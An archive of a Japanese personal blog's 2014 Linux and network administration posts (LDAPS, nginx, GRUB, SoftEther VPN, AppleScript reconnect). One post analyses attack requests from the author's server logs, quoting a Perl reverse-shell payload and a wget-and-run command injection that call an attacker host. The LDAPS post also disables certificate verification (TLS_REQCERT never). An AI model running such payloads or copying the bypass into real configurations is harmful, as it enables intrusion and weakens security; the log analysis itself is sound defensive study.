ラベル インフラ系 の投稿を表示しています。 すべての投稿を表示
ラベル インフラ系 の投稿を表示しています。 すべての投稿を表示

2014年6月17日火曜日

Ruby/LDAP 経由で LDAPS 接続

Rubyから手軽にLDAP接続するのに使えるRuby/LDAPライブラリですが、LDAPS接続をする方法について、あまり実際の例がないように思います。今回、実際にやってみたので、ポイントを書いておこうと思います。

ポイントは3つ。
  • LDAP::Connの代わりにLDAP::SSLConnを使うこと。
  • 接続先ポート番号を明示的に指定すること。
  • LDAPクライアント用設定(/etc/ldap/ldap.conf)で証明書検証設定を正しく設定すること。
以下、やってみた時の経緯です。
今までSSLなしのLDAP接続はできていました。単にLDAP::Conn を LDAP::SSLConn に置き換えればいいと思っていたんですが、エラーになってしまいます。例をirbで示してみますと、こんな感じです。

irb(main):001:0> require 'ldap'
=> true

irb(main):003:0> conn = LDAP::SSLConn.new('localhost')
=> #<LDAP::SSLConn:0x000000021130d0>

irb(main):004:0> conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)
=> #<LDAP::SSLConn:0x000000021130d0>

irb(main):006:0> conn.bind(‘cn=hoge,dc=foo,dc=localhost’,’pass')
LDAP::ResultError: Can't contact LDAP server
from (irb):6:in `bind'
from (irb):6
from /usr/bin/irb:12:in `<main>'

よく調べてみると、ポート番号があやしいことに気づきました。公式ドキュメントによると、デフォルト値が定数LDAP_PORTになっているんですが、LDAP::LDAP_PORTはSSLではない接続用のポート番号(389)が入った定数なのです。

実はLDAP::LDAPS_PORTの方がSSL接続用のポート番号(636)が入った定数なんですね。なぜデフォルト値がLDAPS_PORTじゃなくてLDAP_PORTなのかはよく分からないのですが、もしかして、LDAP::SSLConnはLDAP::Connのサブクラスだからかもしれません。※参考→http://ruby-ldap.sourceforge.net/rdoc/classes/LDAP/SSLConn.html

ということで、今度はポート番号にLDAP::LDAPS_PORTを指定して再試行してみます。

irb(main):008:0> conn = LDAP::SSLConn.new('localhost', LDAP::LDAPS_PORT)
=> #<LDAP::SSLConn:0x0000000211c180>

irb(main):009:0> conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)
=> #<LDAP::SSLConn:0x0000000211c180>

irb(main):010:0> conn.bind('cn=admin,dc=test,dc=localhost','admin')
LDAP::ResultError: Can't contact LDAP server
from (irb):10:in `bind'
from (irb):10
from /usr/bin/irb:12:in `<main>’

しかし、まだ同じエラーです。slapd側のログを見ると、接続自体は確立されているようです。このようなログが残っています。

conn=1013 fd=13 TLS established tls_ssf=128 ssf=128

このログはポート番号修正前には記録されなかったので一歩前進です。LDAPのSSL接続について更に検索すると、こんな情報が見つかりました。→http://christian.hofstaedtler.name/blog/2009/05/ruby-ldap-ssl.html

要するに/etc/ldap/ldap.confにクライアント設定が原因かもしれないということ。試しに、/etc/ldap/ldap.conf の TLS_CACERT をサーバ側の cn=config で設定している
CA証明書と同じ証明書を指定するようにしたところ、接続に成功しました。

なるほど。サーバ証明書をCA証明書で検証していたわけですね。しかしそもそも、証明書検証が必要なければ省略する方法もあります。※参考→https://wiki.debian.org/LDAP/OpenLDAPSetup#Configuring_LDAPS

/etc/ldap/ldap.conf で TLS_CACERT をコメントアウトし、TLS_REQCERT を never に設定すればいいですね。今回はこちらを採用します。

ということで、irbでもう一度試してみます。

irb(main):001:0> require 'ldap'
=> true

irb(main):002:0> conn = LDAP::SSLConn.new('localhost',LDAP::LDAPS_PORT)
=> #<LDAP::SSLConn:0x0000000166b9e8>

irb(main):003:0> conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)
=> #<LDAP::SSLConn:0x0000000166b9e8>

irb(main):004:0> conn.bind('cn=admin,dc=test,dc=localhost','admin')
=> #<LDAP::SSLConn:0x0000000166b9e8>

これで接続に成功することを確認できました。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年6月14日土曜日

slapdをSSL対応で起動させる(Debian)

LDAPサーバをSSL対応(LDAPS)で起動させる際には、サーバ証明書、CA証明書、秘密鍵の3つを設定します。cn=configの属性にこんな感じで設定することになります。

dn: cn=config
olcTLSCACertificateFile: /etc/ssl/certs/ssl-cert-snakeoil.pem
olcTLSCertificateFile: /etc/ssl/certs/ssl-cert-snakeoil.pem
olcTLSCertificateKeyFile: /etc/ssl/private/ssl-cert-snakeoil.key

ちなみにsnakeoilというのはサンプル用証明書によく使われる名前です。

それから、/etc/default/slapd の SLAPD_SERVICES に ldapsプロトコルを含めます。下の例は、SSL対応のLDAPS通信とソケット通信のみ受け付けるよう設定する例です。

SLAPD_SERVICES="ldaps:/// ldapi:///"

これで起動すればOK・・・と言いたいところが、すんなりとはうまくいくと限りません。

main: TLS init def ctx failed: -1

というエラーが発生することがあります。このエラーは、証明書や秘密鍵の読み込みに失敗すると発生します。調べてみると、Debianでは、デフォルトのままだと秘密鍵の読み取り権限がないようです。参考 → https://wiki.debian.org/LDAP/OpenLDAPSetup#Configuring_LDAPS

秘密鍵は所有者のグループを ssl-cert にし、グループに読み取り権限を付与することが推奨されています。slapdはopenldapというユーザ名で実行されますので、openldapユーザをssl-certグループに所属させればOKです。

# usermod -a -G ssl-cert openldap

これで今度こそOKです。

# service slapd start

とすればSSL対応のLDAPS通信を待ち受ける状態で起動するはずです。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月23日水曜日

auでテザリングする時のIPアドレスとポート

自分のホームページは自前で仮想サーバをまるごと借りて運営してるんですけど、しばらく前から、テザリング使用時に、80番ポートのHTTPアクセスはできるものの、SSHなどその他のアクセスが出来ない、という状況が続いていました。その前まではできてたんですがね。

サーバ側のファイアウォールの設定を見なおしてみたり、HTTPでリクエストを投げた時にログに記録されるIPアドレスを確認したりしてみましたが、リクエスト元のIPアドレスには、確かにSSHの22番ポートなど、HTTPの80番ポート以外のアクセスも許可されていました。それでもアクセスが出来ない状況でした。

で、調べるうちに下記ページを発見。
http://www.au.kddi.com/developer/android/kaihatsu/network/

上記リンク先のページの最後の方に、下記の記述があります。

「Port80番通信とPort80番以外の通信では送信元IPアドレスが異なる場合があります」

うおーい、多分これだよ。てことで、早速一時的にファイアウォールを無効にして、テザリング中にHTTPで80番ポートへのアクセス元IPと、SSHで22番ポートへのアクセス元IPを確認してみると・・・異なってた!で、80番ポート以外からのアクセス元IPアドレスのファイアウォール通過許可が無かったのが原因なのでした。

なお、auのテザリング時のIPアドレス一覧は、上で挙げたリンク先に載ってます。とりあえず、リンク先に書いてあるIPの範囲でファイアウォールの設定を行い、無事つながるようになりました。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月22日火曜日

bash か sh か、それが問題だ

Linuxのサービス制御シェルスクリプトを書いていて思ったことなんですけどね。そのプロジェクトの先人たちが書いたコードを拝見すると、一行目のシェバング行に sh と bash が混じっていたんですよ。つまり、「#!/bin/sh」と「#!/bin/bash」の両方のパターンがあったわけです。まあDebian系なので、shは正確にはashなんですがね。

それで、どういうふうに使い分けるんだろうか、と気になったわけです。shとbashではbashが拡張した独自文法がある、ということは知ってましたが、じゃあ具体的にはなんなのかと。色々調べてみたり、bashのmanページを見たりしましたが、違いをまとめたものがなかなか見つかりません。

だったら、機能が多いbashに統一すればいいのか、というとそうでもありません。bashのmanページの最後、バグの項は次の一文で始まります。

「bash は大きすぎるし、遅すぎます。」

おいおい(笑)公式でそう言っちゃうんかい。しかもmanページのバグの項目で。まあともかく、重いってことですね。まあ、起動スクリプトは軽いに越したことはありませんから、むやみやたらにbashに統一というのはあまり良くはないでしょう。

でまあ、どうしたかというと、どうしても sh では実現できない、あるいはbashを使わないと著しく大変な時だけbashを使い、それ以外の時はshで済ますことにしました。

ちなみに今までに書いたスクリプトの中にもシェバング行が「#!/bin/bash」のやつもあったので、そいつらは「#!/bin/sh」に書き換えてしまって不具合が出ない限りはそれでいく方針に。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月18日金曜日

VMWare Fusionの仮想マシンをOVA形式で出力する

普段仕事はMacでやっていて、開発に使う仮想マシンもVMware Fusionで扱っているわけですけれども、仮想マシンを作成してちょっと他の人に共有したいなんてことがありましてね。そういう時には、OVA形式で出力できたら便利だなと思うわけですけれども、実はVMware Fusionには直接その機能がありません。なんてことだ!

というわけで、OVA形式へ出力するためには、VMwareが公式で提供しているツールである「VMware OVF Tool」が必要です。まずはこれをインストールします。

まず、VMware OVF Tool for Mac OSXをダウンロードします。下記URL参照。
https://my.vmware.com/jp/group/vmware/details?downloadGroup=OVFTOOL350&productId=352

つぎに、インストールを行います。dmgをマウントしたら”VMware OVF Tool.pkg”を実行。インストーラの指示に従えばいいです。

インストール先は、
"/Applications/VMware OVF Tool"
です。Finderからは「アプリケーション」で参照できますね。

OVF Toolがインストールできたら変換を行います。下記のようにコマンドを打ちます。
$ /Applications/VMware\ OVF\ Tool/ovftool --acceptAllEulas path/to/vm/VM01.vmwarevm/VM01.vmx path/to/output/VM01.ova

これで変換できます。それにしても、公式でツールを提供してくれるんだったら、VMware Fusionにも機能をつけておいてほしいものですな。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月14日月曜日

最近来たサーバへの攻撃(不正アクセス)を晒してみる

個人用に自分でWebサーバを運用しているんですが、ちょっとログを見てみたら、悪意のあるアクセスらしきログが残っていたのでちょっと晒してみようと思います。なお、攻撃元のIPアドレスは全て"*.*.*.*"に置き換えて伏せてあります。

パターン1


Apacheのログ例はこちら。

*.*.*.* - - [13/Apr/2014:19:27:33 +0900] "GET /recordings/misc/callme_page.php?action=c&callmenum=888%40ext-featurecodes%2Fn%0D%0AApplication%3A%20system%0D%0AData%3A%20perl%20-MIO%20-e%20%27%24p%3Dfork%3Bexit%2Cif(%24p)%3B%20%24c%3Dnew%20IO%3A%3ASocket%3A%3AINET(PeerAddr%2C%22*.*.*.*%3A3333%22)%3B%20STDIN-%3Efdopen(%24c%2Cr)%3B%20%24~-%3Efdopen(%24c%2Cw)%3B%20%24c-%3Ewrite(%22%5DQAfH%23.Eq%5Cncmp%5Cn%22)%3B%20system%24_%20while%3C%3E%3B%27%0D%0A%0D%0A HTTP/1.1" 404 292

このままだとわかりにくいんでURLエンコードされているのをデコードして、URLだけにしてみるとこうなります。

/recordings/misc/callme_page.php?action=c&callmenum=888@ext-featurecodes/n
Application: system
Data: perl -MIO -e '$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"*.*.*.*:3333"); STDIN->fdopen($c,r); $~->fdopen($c,w); $c->write("]QAfH#.Eq\ncmp\n"); system$_ while<>;'

上記URLは"Data:"の後ろ側が実行されることを期待しているように見えます。perlを利用して攻撃元サーバに接続し、不正コードをダウンロードして実行させるコードな気がしますね。調べてみると、FreePBXの脆弱性として2012年に指摘されています。
http://jvndb.jvn.jp/ja/contents/2012/JVNDB-2012-004164.html


パターン2


Apacheのログ例はこちら。

*.*.*.* - - [13/Apr/2014:19:27:37 +0900] "GET /admin/config.php?display=auth&handler=api&function=system&args=cd%20/tmp;rm%20-f%20e;wget%20http://*.*.*.*:3003/e;perl%20e;rm%20-f%20e HTTP/1.1" 404 277

こちらもURLデコードしてみましょう。

/admin/config.php?display=auth&handler=api&function=system&args=cd /tmp;rm -f e;wget http://*.*.*.*:3003/e;perl e;rm -f e

これもパターン1と同様にアクセス元のサーバからperlスクリプトダウンロードして実行させようとするコードに見えますが、より直接的にOSコマンドインジェクションでやっていますね。ご丁寧に/tmpにダウンロードしたコードを消す命令も最後に入っています。


パターン3


*.*.*.* - - [13/Apr/2014:19:27:39 +0900] "POST /vtigercrm/graph.php?module=..%2Fmodules%2FSettings&action=savewordtemplate HTTP/1.1" 404 280

また例によってURLデコードします。

/vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate

これは上記2つとは毛色が違いますね。よく見るとアクセスのメソッドもGETではなくPOSTです。何か悪意のあるデータを送りつけて保存させようとしているように見えます。
URLに含まれるvtigercrmというのはオープンソースの顧客管理ソフトウェアですね。調べてみると、URLで呼び出していそうなソースがGitHubに見つかります。
https://github.com/vtiger-crm/vtigercrm/blob/master/modules/Settings/savewordtemplate.php

これはMicrosoft Wordのテンプレートを保存するスクリプトですね。つまりマクロウイルスを含んだテンプレートをPOSTで送りつけているのでしょう。次に管理者がそのファイルをダウンロードして開いた時に発動することを狙っているものと見られます。

とりあえずこんな感じですかね。公開されているサーバで不正アクセスのないサーバなんぞ無いと思いますけれども、たまにこうしてログを見て攻撃の傾向を見ておくと、セキュリティ意識と知識が上がってよいと思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月7日月曜日

シェルスクリプトでnginx master processのpidを取得する

シェルスクリプトからnginxの起動・終了を制御したいことがあって、master process のPIDを取得するにはどうしたらいいのか調べた経緯を少々書いてみます。

nginx は master process というプロセスの小プロセスとして worker process を複数持ち、実際の処理はworker processが担当し、全体の起動・終了などのworker process の管理はmaster processが担当しています。
(参考→http://d.hatena.ne.jp/kiwanami/20111205/1323105070)

ということで、シェルスクリプトから終了させる場合には、master processにシグナルを送るのが正しい作法でしょう。pkillでnginx全体にシグナル送ってもいいかもしれませんが、せっかくmaster processがあるのに少々乱暴っぽいですし。

普通に起動・終了を制御するのであればngixの設定でpidfileを作成していると思うのでpidfileに記録されてるpidを見ればmaster processのpidを特定できますけれども、pidfileが何らかの理由で消えたか見つからないか読み取れない場合の処理を書いておきたいと思ったので、pidfile以外でmaster processのpidを見つける方法をとります。

ということで、以下のコマンドで取得できます。

ps ax opid,ppid,cmd | grep nginx | awk '$2 == "1" { print $1 }'

ps の a オプションは端末のある全てのプロセスの表示、xオプションは端末のないプロセスの表示なので、"ps ax"で全てのプロセスを表示します。opid,ppid,cmdはそれそれ、自身のpid、親プロセスのpid、コマンド名を出力するという意味です。その中からgrep で "nginx" を含む行だけを抽出します。ここまでの途中で出力してみるとこんな感じですね。

[root@host]# ps ax opid,ppid,cmd | grep nginx
 5057 19498 grep nginx
 6812     1 nginx: master process /usr/sbin/nginx
 6813  6812 nginx: worker process
 6814  6812 nginx: worker process
 6815  6812 nginx: worker process
 6816  6812 nginx: worker process

デーモンとして動くプロセスは、親プロセスのpidは1(init)になります。nginxでは、worker process は master processを親に持つため、pidが1なのはmaster processのみです。あと grep コマンド自身も実行中のシェルを親に持つため、pidが1のものを抜き出せば、それがmaster processになります。

とうことで、2列目に出力された親プロセスが1の行について、1列目のpidの値を出力するようawkで指定すればOKです。

[root@host]# ps ax opid,ppid,cmd | grep nginx | awk '$2 == "1" { print $1 }'
6812

参考になれば幸いです。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月3日木曜日

nginxの設定でif文中のincludeがエラーになるので別の方法で設定する

nginx の設定で if文の中で include しようとするとエラーが起こります。具体的には、ドキュメントルート以下に存在しないファイルは別のURLのプロキシ向けに丸投げする設定を以下のように書きました。

location / {
  if (!-f $request_filename) {
    proxy_pass http://some-url;
    include /etc/nginx/proxy_params;
    break;
  }
}

上記設定を含んだ状態で起動しようとすると下記エラーが発生します。

[root@host]# service nginx start
Restarting nginx: nginx: [emerg] "include" directive is not allowed here in /etc/nginx/sites-enabled/foo:21
nginx: configuration file /etc/nginx/nginx.conf test failed

調べてみると、if 文の中ではincludeはできないようです。さらに、nginx において if は可能な限り避けろという話が見つかりました。予測できない動きをすることがあり、場合によってはクラッシュの危険もあるとか。

http://forum.nginx.org/read.php?2,123451,123462#msg-123462
http://wiki.nginx.org/IfIsEvil

ということで、別の方法を模索します。今回の目的なら代わりに try_files が使えます。

http://heartbeats.jp/hbblog/2012/04/nginx05.html

上記URLを参考に書いてみましょう。

location / {
  try_files $uri $uri/ @proxy;
}

location = / {
  try_files $uri @proxy;
}

location @proxy {
  proxy_pass http://some-url;
  include /etc/nginx/proxy_params;
}

location が "/" と完全一致の時の設定に注意してください。try_files に $uri/ が指定してあると、directory index を試みて 403 エラーになってしまいます。そのため "/" との完全一致で $uri/ を抜いた try_files を指定しておきます。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年2月28日金曜日

VMWare上のDebianでHDD外してGRUBメニュー修正

VMWare Fusionで仮想マシンにDebian入れて使ってるんだけれども、少し前から/usr/local以下のファイルが消えたり復活したりして気持ち悪い挙動をしていた。再起動のタイミングで起きてるようで、どうもブート時にマウントするハードディスクが勝手に変わっているようだ。

とりあえず、起動時にブートローダであるGRUBのメニューを見てみると選択できるメニューのうちHDD選択に係る記述が root (hd0,msdos1) と root (/dev/sdb,msdos1) の2通りあり、それぞれ選択してみると、案の定/usr/local以下(というかファイルシステム)の内容が変化するのが確認できた。root (/dev/sdb,msdos1) の方がデフォルトになっていた。

原因を調べているうち、hd0で指定されるHDD(これは/dev/sdaでもある)と/dev/sdbのUUIDが同じであることを見つけた。そもそも、この/dev/sdbはバックアップ用に仮想マシンに追加したもので、以前に、dd使ってバックアップした時、UUIDが記録されたセクタもコピーしてしまったことが原因と思われる。で、/etc/fstabでルート( / )にマウントするディスクがUUIDで指定されているので、どちらのHDDか不定だったと推測される。

一時的なバックアップ用途にHDD追加してただけなので、今後の混乱を避けるためHDD自体を削除することにした。まず、 root (hd0,msdos1) の方のメニューで起動して

[root@localhost]# grub-mkconfig -o /boot/grub/grub.cfg

を実行。デフォルトメニューのほうに含まれる記述が root (/dev/sdb,msdos1) から root (hd0,msdos1) に変化したのを確認。

一旦電源をOFFにし、VMWare Fusion の設定から /dev/sdb に相当するHDDを削除。

再び起動。ログインして再度先ほどと同じコマンドでgrub.cfgを生成する。

[root@localhost]# grub-mkconfig -o /boot/grub/grub.cfg

を実行。grub.cfg の中身を覗くと、root (/dev/sdb,msdos1)の方のメニューは消えていた。もう一度再起動し、ブートローダのメニューが変更されてメニューが減ったのを確認。これでもう大丈夫なはず。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年2月22日土曜日

Linuxでデーモン自動起動の順番はどう決まるのか

Linuxではシステムの起動時に自動的に起動するデーモンを登録する仕組みが用意されている。自動起動するデーモンの登録及び解除は、
  • Redhat系では chkconfig
  • Debian系では update-rc.d, sysv-rc-conf など
で行うことが可能だ。

で、上記コマンドの使い方は省略するが、どちらも行っていることは共通している。まず、デーモンの起動・終了などを制御するスクリプトは

/etc/init.d/{デーモン名}

という名前で用意されている。例えばSSHデーモンは /etc/init.d/ssh だ。これらのスクリプトには引数で start, stop, restart, status などを与えることができ、起動・終了・再起動・状態の取得などを行うことができる。

で、自動起動するデーモンについては、

/etc/rc{ランレベル番号}.d

にデーモン制御スクリプトへのシンボリックリンクを作成する。すると、システムの起動時に実行される /etc/init.c/rc スクリプトに参照され、実行される。例えばランレベル5でシステム起動時に自動起動されるスクリプトへのシンボリックリンクは、/etc/rc5.d 内に存在する。

その際の起動順序はシンボリックリンクの名前で決まる。具体的には

S{起動番号}{デーモン名}

である。この起動番号の小さい方から大きい方に向かって起動していく。例えば Apache2デーモンは S17apache2 、SSHデーモンは S18ssh という名前なので、Apache2 は SSH より先に起動することが分かる。

と、ここまでは前から知ってたんだけれども、じゃあ、この起動順序の番号はどこで決まってるのかについては特に調べもせず知らなかった。でもちょっと必要になったので調べてみた。どうやらRedhat系とDebian系で違うようだ。

Redhat系では、起動スクリプトである /etc/init.d/{デーモン名} の「コメント文」に特定の書式で書いてあり、chkconfig はそのコメントを見に行く。コメントの書式は

# chkconfig: - {起動番号} {終了番号}

となっていて、この起動番号が chkconfig を実行した際にシンボリックリンクの名前に使われる。

一方Debian系では、update-rc.d の場合、作成するシンボリックリンクの起動番号は自動的に決定されるらしい。ちょっと調べただけでは分からなかった。(知っている人いたらぜひコメントください。)

Debian系では別のコマンド sysv-rc-conf もあり(使うには sysv-rc-conf パッケージをインストールする必要がある)、こちらは

/var/lib/sysv-rc-conf/services

に記述された起動順序にそってシンボリックリンクを作成する。こちらの sysv-rc-conf は chkconfig にコマンドの書式が似ていることもあり、使いやすいと思う。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年2月7日金曜日

Mac OS XでVPN接続が切れたら自動的に再接続する

先日構築したSoftEther VPNによるVPN環境で、遠隔地のMacでVPNを接続しておいたはずが、いつの間にか接続が切れているという問題が度々発生していた。

OS XのL2TPクライアントにKeep-Aliveの機能はついてないみたいだし、かと言ってSSHみたいに接続先のターミナル上で定期的になにか出すというわけにもいかない。

じゃあ、接続を切れないようにするんじゃなくて、切れたら再接続するようにできればいいんじゃないか、と思って探したらあった。

Mac OS X起動時にVPNで自動接続&途切れても再接続するように設定できる : ライフハッカー[日本版]

なるほど。しかし上記リンク先のコードはなぜかインデントが全角空白になってて面倒だと思うので、直したコードを以下に貼っとく。なお"VPN Service Name"の部分は接続したいVPN接続設定の名前に置き換えること(「システム環境設定」の「ネットワーク」に表示されている名前)。あと接続有無の監視間隔が120秒だったのを60秒に変更してある。

on idle
  tell application "System Events"
    tell current location of network preferences
      set myConnection to the service "VPN Service Name"
      if myConnection is not null then
        if current configuration of myConnection is not connected then
          connect myConnection
        end if
      end if
    end tell
    return 60
  end tell
end idle

AppleScriptエディタを開いて上記コードを貼り付け、メニューの「ファイル>保存...」を選択する。ダイアログで
  • ファイルフォーマットは「アプリケーション」を選択
  • オプションの「ハンドラの実行後に終了しない」にチェック
して保存する。


あとは保存したアプリケーションを実行すれば接続が開始され、60秒間隔で接続の有無を監視してもし接続が切れていたら自動的に再接続してくれる。

実際先日構築したVPN環境で試したら、接続が切れた時にちゃんと再接続してくれていたことが確認できた。これでVPNが落ちてないか心配せずに済む。

ちなみに、起動時に自動的にVPNに接続させるには、「システム環境設定>ユーザとグループ」でユーザを選び「ログイン項目」に追加しておけばいい。さらに実行中にDockにアイコンを出さない方法も上のリンク先に書いてあるので必要なら参照のこと。僕の場合、実行されているのが明示的にわかったほうがいいと思ったのでアイコン消す設定はしてない。

Apple Script も極めれば色々自動化できそうで面白そうだな。また機会があったら調べてみよう。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年2月6日木曜日

Keep-AliveとNATテーブルの関係

SSHなんかで外部のサーバに接続していて、しばらく何もせずに放置しておくと通信できなくなることがあったりする。対策を立てていないと頻繁に起きる。

これの原因は、接続の途中にあるルータ。ルータはプライベートIPアドレスの領域とグローバルIPアドレスの領域の境目では、アドレスを変換してやりとりする(プライベートIPアドレスをもつパケットはインターネットに出るとすぐに破棄されてしまうので)。その際変換元のプライベートIPアドレスと返還後のグローバルIPアドレスの対応関係を記憶しており、これがNATテーブルと呼ばれる。

もっとも、最近は単なるNATではなく複数のプライベートIPアドレスをポート番号を変えつつ通信することで1つのグローバルIPアドレスと対応させるNAPT(IPマスカレード)の方が多いと思う。
(参考 → NAT - ネットワークエンジニアを目指して)

まあ、NATにしてもNAPTにしても、プライベートIPアドレスとグローバルIPアドレスの対応一覧表を内部に持っているわけだ。

で、NATテーブルにしろNAPTテーブルにしろ、無限に記録するわけには行かない。だから記録できる数の上限もあるし、一定時間使わなければ破棄していく。

で、接続を確立してから一定時間以上通信がないと、接続経路の途中にあるルータのNATテーブル(またはNAPTテーブル)が破棄されてしまい、いざ通信しようとしたらできない、ということになるわけだ。

で、対策としては、一定間隔で何か通信するということになる。一定間隔でデータが流れていれば、NATテーブルやNAPTテーブルの該当レコードはクリアされない。このような、接続を維持するために一定間隔でデータを流す行為や機能をKeep-Aliveと呼ぶわけね。

例えば簡易な方法としてはSSHではログインした端末でpingをlocalhost宛に打ったりとかする。他にもクライアントソフトが定期的に無害なパケットを流すなど、対策方法はいくつかある。
(参考 → keep-alive for ssh)

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年2月5日水曜日

Mac OS X で TUN/TAP 仮想ネットワークデバイス

仮想ネットワークデバイスを Mac OS X で試してみたくて調べてた。TUN/TAP は共に仮想ネットワークデバイスの仕組みで、名前自体は知ってたけれど違いがよく分かってなかったので改めて調べてみると、

TAP : データリンク層を操作する仮想デバイス
TUN : ネットワーク層を操作する仮想デバイス

ていうことらしい。TAPはソフトウェアルータ、TUNはソフトウェアブリッジに使える、っていう理解でいいのかな。

Mac OS X 用の TUN/TAP ドライバは下記からダウンロードできる。
http://tuntaposx.sourceforge.net/

インストールは特に難しいことはなくて、インストーラの指示に従えば完了する。

インストールが完了しても、システム設定画面などに変化はない。ただ、/dev を見てみると、tun0〜tun9 と tap0〜tap9 のデバイスが新たに作られているのが分かる。

ごく簡単な使い方の例としてはこんなスクリプトを見つけた。
http://lakm.us/logit/2013/01/handy-tap-interface-mac-osx/

上記リンク先からちょっと引用しよう。

#!/usr/bin/python
 
import os
while 1:
 try:
  file_path = '/dev/tap1'
  dev_file = os.open(file_path, os.O_RDWR)
  interface = 'tap1'
  while 1:
   pass
 except:
  print "tap interface is closing"
  exit()
  break

これを setup-tap1.py として保存したら、

[root]# ./setup-tap1.py &
 

て感じでバックグラウンドで実行する。
すると ifconfig で tap1 が出現するようになるので、IP アドレスの設定なども可能。

と、この辺まで調べたあたりで、TUN/TAP 仮想ネットワークデバイスとは別の方法を検討し始めたので今回はここまで。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年2月2日日曜日

SoftEther VPNでLinux上にVPNサーバ立てて遠隔地と手元のMacで画面共有

Mac OS X にはデフォルトで画面共有の機能がついていて、これがなかなかに使いやすくていい。この画面共有は同じネットワーク内にある Mac にはアカウント名とパスワードさえ分かれば接続することができる。

一方、遠隔地にある Mac に対しては同一の Apple ID を設定して「どこでも My Mac」機能を利用すれば接続はできるけれども、ちょっと事情があって同一の Apple ID を設定していない Mac にも画面共有で接続したかった。

で、以前は LogMeIn の Free 版を使っていたんだけど、なんと有料化されるとのこと。(参照: リモートアクセス「LogMeIn」無料版が突如終了、完全有料制に - ITmedia ニュース)うーむ、これは困った。

実はこの件とは別に自分用にパブリッククラウドサービスを契約してて、仮想サーバを立てて CentOS を入れて運用している。そこにはグローバルIPも割り当ててある。じゃあそれを VPN サーバにしてしまおうと思いついた。それなら新たに費用が発生することもないし。

てことでフリーの VPN サーバを探したら、SoftEther VPN ってのがあるそうで。OpenVPN よりも速いという謳い文句つきだ。これをインストールして使ってみることにした。

SoftEther VPN  Server のダウンロード

SoftEther VPN  のダウンロードページから VPS サーバをダウンロード。コンポーネントは「SoftEther VPN  Server」を選ぶ。

SoftEther VPN  Server のインストール

インストール方法は公式ドキュメントの「7.3 Linux へのインストールと初期設定 - SoftEther VPN プロジェクト」に従えば OK 。

管理者パスワードの設定

管理者パスワードを設定します。サーバ付属の vpncmd で「ServerPasswordSet」コマンドを実行する。マニュアル通りにインストールしたのなら vpncmd のパスは  /usr/local/vpnserver/vpncmd になる。

仮想ハブの作成

仮想ハブを作成するか、最初に「DEFAULT」という名前の仮想ハブができているので、それも使える。今回は「DEFAULT」を使うことにするので、新たに作成はしない。

ユーザの作成

仮想ハブにユーザを作成する。vpncmd で「Hub DEFAULT」コマンドを実行して「DEFAULT」仮想ハブを管理対象とした後「UserCreate」コマンドを実行する。

IPSec 機能の有効化

L2TP over IPsec を使えるようにする。vpncmd で「IPSecEnable」コマンドを実行する。有効にするのは L2TP over IPsec だけでいい(暗号化なしの L2TP と EtherIP / L2TPv3 over IPSec はいらない)。

SecureNAT 機能の有効化

SecureNAT 機能は、簡易 DHCP サーバ機能と仮想 NAT 機能の2つからなる機能。vpncmd で「SecureNatEnable」コマンドを実行する。なお、このコマンド実行後に簡易 DHCP サーバ機能と仮想 NAT 機能は両方とも自動的に有効化される。

簡易 DHCP サーバ機能の設定

SecureNAT 機能のうち、簡易 DHCP サーバ機能を使うので設定を確認する。今回はデフォルトのまま使うので設定変更しないけれど、確認はしておく。vpncmd で「DhcpGet」コマンドを実行する。デフォルトでは 192.168.30.10〜192.168.30.200 の範囲のIPアドレスが配布される設定なっている。

仮想 NAT 機能の無効化

今回は仮想 NAT 機能は使わないので無効化しておく。vpncmd で「NatDisable」コマンドを実行する。

VPN サーバのファイアウォールで必要なポートを開ける

Mac 側からは L2TP over IPSec で接続するので、UDP 500 番と UDP 4500 番のポートの通信が VPN サーバのファイアウォールを通過できるようにしておく。

Mac の VPN 接続設定及び接続実行

ここまでできたら、Mac から VPN に接続できる。この操作は接続元である手元の Mac と接続したい遠隔地の Mac の両方で行う必要がある。もちろん遠隔地の Mac は VPN に接続したままの状態にしておく。公式ドキュメントの「Mac OS X からの接続方法 - SoftEther VPN プロジェクト」に従えば OK 。
なお公式ドキュメントでは「すべてのトラフィックを VPN 接続経由で送信」オプションにチェックを入れるよう書いてあるが、VPN 経由でインターネットに出る経路がない場合はこれにチェックを入れるとインターネットにつながらなくなる。画面共有が用途の場合は画面共有したいマシンとしか VPN 経由で通信しないのでチェックを入れなくてもいいだろう。
ちなみに遠隔地の Mac で VPN 接続が切れたら自動的に再接続させる方法はこちら。

DHCP テーブルを確認

ここからは、遠隔地の Mac へ手元の Mac から接続する時の手順になる。あらかじめ両方の Mac が VPN に接続されていること。まず VPN サーバにログインして DHCP テーブルを確認する。vpncmd で「DhcpTable」コマンドを実行する。割り当てられた IP アドレスとクライアントホスト名の対応が分かるので、接続したい遠隔地の Mac に割り当てられた IP を把握しておく。

画面共有を実行

接続元の Mac で Finder を起動して、メニューからの「移動>サーバへ接続...」を選択する。「サーバへ接続」ダイアログが表示されたら「サーバアドレス」欄に「vnc://(遠隔地の Mac の IP アドレス)」を入力して「接続」ボタンをクリック。

これで接続できるはず!僕の環境では、LogMeIn を使っていた時よりもはるかに快適に画面をリモートから操作できた。予想以上に反応速度が改善されてびっくり。スクロールとかもスムーズにできるし。

「グローバル IP の付与された Linux サーバを持っいてなおかつ root  権限を使える」という条件があるけれども、もし当てはまる方はぜ SoftEther VPN による VPN サーバ構築をぜひ試してみては。

